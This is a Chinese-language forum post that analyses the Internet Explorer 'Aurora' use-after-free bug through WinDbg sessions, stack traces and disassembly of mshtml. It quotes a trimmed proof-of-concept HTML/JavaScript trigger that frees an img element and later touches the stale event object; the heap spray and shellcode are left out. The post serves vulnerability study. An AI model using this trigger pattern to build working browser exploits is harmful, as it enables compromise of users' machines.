设为首页收藏本站
切换到窄版

WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
返回列表 发新帖
  • 2148查看
  • 0回复

[经验分享] IE极 光漏洞 的 原理 探秘

zz7061098

主题

好友

1172

积分

禁止发言
发表于 2010-2-2 16:31:00 |显示全部楼层
其中，[1]对此漏洞进行了极其详细的解说（就差告诉你怎么调试了），我就是看了它才了解细节上是怎么一回事，[2]则简要地进行了解说，而[3]则直接说出了调试的提示。

因此，我这里只是看了以上参考文章之后，依葫芦画瓢调试了一下，把关于调试和理解的部分整理了一下，观点并不是我自己首先得出来的。

调试环境：XP sp3 简体中文版系统，IE7（IE6更容易跳进shellcode，IE7跳进shellcode概率似乎不大，不过这里主要是为了 讨论漏洞怎么来的，IE7虽跳不进shellcode，但是也会因为访问无效地址而抛出异常，照样可以断下，所以并不影响下面讨论）。

先观察PoC网页，这里的引用把heap spray等略掉了，完整的在附件：

引用:
......
function ev1(evt)  

{  

event_obj = document.createEventObject(evt);  

document.getElementById("sp1").innerHTML = "";  

window.setInterval(ev2, 1);  

}  



function ev2()  

{  

......


event_obj.srcElement;  

}  

......

<body>  

<span id="sp1">  

<img src="aurora.gif" onload="ev1(event)">  

</span>         

</body>   
简单地理解，Body中有个span对象，span对象中包含一个img对象，img对象的onload响应例程中，调用 createEventObject创建了相应event对象的一个副本，然后将span对象的innerHtml清空，这样导致img对象的释放。在此 之后，创建一个定时器，在超时例程中访问新event对象的srcElement属性，应该是在这时候触发了漏洞。

winbg载入IE7（PoC文件名为命令行参数），IE7出现网页脚本或ActiveX对象被阻止提示，确认允许运行，等许久后抛出异常断下

引用:
(300.1ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001ec7b0 ebx=44003000 ecx=44003000 edx=00206418 esi=02b609d8 edi=ffffffff
eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CElement::Doc:
3e5b1e60 8b01            mov     eax,dword ptr [ecx]  ds:0023:44003000=????????
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:005> kb
ChildEBP RetAddr  Args to Child              
019df814 3e582b2b 001f8af8 01e23920 3e80f27c mshtml!CElement::Doc
019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99
019df848 3e66d9c5 001ec768 01e23928 00988690 mshtml!CEventObj::get_srcElement+0x15
019df870 3e5b88a8 001ec768 00988690 001f8af8 mshtml!GS_IDispatchp+0x38
019df908 3e5b8dd9 001ec768 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef
019df934 75be29d7 001ec768 000003e9 00000409 mshtml!CBase::InvokeEx+0x25
019df96c 75be2947 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx2+0xac
019df9a4 75be31e5 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx+0x56
019dfa14 75be1c0a 00986940 001caa30 000003e9 jscript!InvokeDispatchEx+0x78
019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba
019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a
019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d
019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7
019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179
019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb
019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55
019dfdcc 3e5a763d 00204ee8 001c8060 00002000 mshtml!CWindow::ExecuteTimeoutScript+0x85
019dfe14 3e5a7611 001c97b8 001c97f1 019dfe48 mshtml!CWindow::FireTimeOut+0x91
019dfe24 3e5a77b5 00002000 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152
019dfe48 77d18734 0013020a 000000d6 00002000 mshtml!GlobalWndProc+0x181
从栈回溯信息看，这的确是在定时器例程中使用event_obj.srcElement时出现的异常。

触发异常的点很容易找，但是找到为什么却不容易。

关键是要了解CEventObj::get_srcElement怎么实现的，为什么这么实现，这是我看了[1]之后才了解的。简单地说，为在event 中能够访问相应的Element，CEventObj并不是直接就在其类中保存一个CElement结构的指针，而是绕了几绕：CImgElement对 象创建后，又创建了相应的CTreeNode对象，由CTreeNode对象的属性中保存CImgElement类指针。然后将CTreeNode对象的 地址，保存在这个img的事件对象CEventObj类的一个EVENTPARAM结构中。

对此，参考文献[3]直接给出了调试的提示：

引用:
If you're interested in researching the vulnerability (using this PoC), breakpoint MSHTML!CImgElement::CImgElement, then run until MSHTML!CTreeNode::CTreeNode is hit -- this tree node is freed during MSHTML!CImgHelper::Fire_onerror, but is later accessed during
MSHTML!CEventObj::get_srcElement.
重新载入，在系统断点时输入命令bu mshtml!CImgElement::CImgElement，g运行，停在断点处一次，这时再次 g运行，IE7出现网页脚本或ActiveX对象被阻止提示，确认允许运行，等许久让它Heap spray，之后又断在 CImgElement::CImgElement

引用:
Breakpoint 0 hit
eax=002033d0 ebx=001ae3bc ecx=002033d0 edx=00000034 esi=001ae308 edi=0022ffe8
eip=3e553f4e esp=019dfb9c ebp=019dfba8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CImgElement::CImgElement:
3e553f4e 8bff            mov     edi,edi
这时得到将创建的CImgElement对象指针，ecx=ecx=002033d0

bu CTreeNode::CTreeNode，运行断下

引用:
0:005> bu mshtml!CTreeNode::CTreeNode
0:005> g
Breakpoint 1 hit
eax=02b60880 ebx=00000000 ecx=02b60880 edx=00150608 esi=001db518 edi=00000055
eip=3e586fe7 esp=019dfb7c ebp=019dfb90 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::CTreeNode:
3e586fe7 8bff            mov     edi,edi
0:005> kb
ChildEBP RetAddr  Args to Child              
019dfb78 3e53ffc3 00203380 002033d0 00000000 mshtml!CTreeNode::CTreeNode
019dfb90 3e551f3d 019dfbe0 002033d0 00203380 mshtml!CHtmRootParseCtx::BeginElement+0x37
019dfbb8 3e53ff25 019dfbe0 002033d0 00203380 mshtml!CHtmTextParseCtx::BeginElement+0x71
019dfbe4 3e54012b 00000000 00000001 00000000 mshtml!CHtmParse::BeginElement+0x8c
019dfc08 3e53eb07 00000000 0022ffe8 00000000 mshtml!CHtmParse::ParseBeginTag+0x112
019dfc20 3e53fad6 00000034 00fa84cc 001de4a8 mshtml!CHtmParse::ParseToken+0x76
019dfcc8 3e53b620 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::ProcessTokens+0x1a4
019dfd84 3e53bd97 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Exec+0x15d
019dfd9c 3e53bd18 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Run+0x13
019dfdb4 3e53c38f 001c7fb0 00fa84cc 001de4a8 mshtml!PostManExecute+0xdc
019dfdd4 3e53c2fc 001de4a8 00000001 019dfdf4 mshtml!PostManResume+0x9e
019dfde4 3e59f3ff 001fa800 001de4a8 019dfe28 mshtml!CHtmPost::OnDwnChanCallback+0x10
019dfdf4 3e5b79e2 001fa800 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19
019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101
019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181
019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28
019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150
019dff3c 77d18a10 019dff64 00000000 019dffb4 USER32!DispatchMessageWorker+0x306
019dff4c 3ed3e70b 019dff64 0013e490 0013e5b8 USER32!DispatchMessageW+0xf
019dffb4 7c80b699 001ab490 0013e490 0013e5b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x189
可以看到它是由CHtmRootParseCtx::BeginElement调用的，ecx=02b60880为CTreeNode类指 针，该函数第二个参数002033d0正是刚刚创建的CImgElement类指针，函数调用CTreeNode::SetElement将该 CImgElement类与CTreeNode关联：

引用:
.text:3E586FEC                 push    esi
.text:3E586FED                 push    [ebp+pCElementObject]
.text:3E586FF0                 mov     esi, ecx
.text:3E586FF2                 or      word ptr [esi+0Ah], 0FFFFh
.text:3E586FF7                 or      word ptr [esi+0Ch], 0FFFFh
.text:3E586FFC                 or      word ptr [esi+0Eh], 0FFFFh
.text:3E587001                 mov     dword ptr [esi+10h], 1
.text:3E587008                 call    CTreeNode::SetElement(CElement *)
引用:
.text:3E586F69
.text:3E586F69 public: void __thiscall CTreeNode::SetElement(class CElement *) proc near
.text:3E586F69                                         ; CODE XREF: CTreeNode::CTreeNode(CTreeNode *,CElement *)+21p
.text:3E586F69
.text:3E586F69 pCElementObject = dword ptr  8
.text:3E586F69
.text:3E586F69                 mov     edi, edi
.text:3E586F6B                 push    ebp
.text:3E586F6C                 mov     ebp, esp
.text:3E586F6E                 mov     eax, [ebp+pCElementObject]
.text:3E586F71                 test    eax, eax
.text:3E586F73                 mov     [ecx], eax
.text:3E586F75                 jz      short loc_3E586F7D
.text:3E586F75
.text:3E586F77                 mov     al, [eax+14h]
.text:3E586F7A                 mov     [ecx+8], al
.text:3E586F7A
.text:3E586F7D
.text:3E586F7D loc_3E586F7D:                           ; CODE XREF: CTreeNode::SetElement(CElement *)+Cj
.text:3E586F7D                 pop     ebp
.text:3E586F7E                 retn    4
.text:3E586F7E
.text:3E586F7E public: void __thiscall CTreeNode::SetElement(class CElement *) endp
.text:3E586F7E
回复

使用道具 举报

返回列表 发新帖

快速发帖

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 22:08 , Processed in 0.060381 second(s), 16 queries .

返回顶部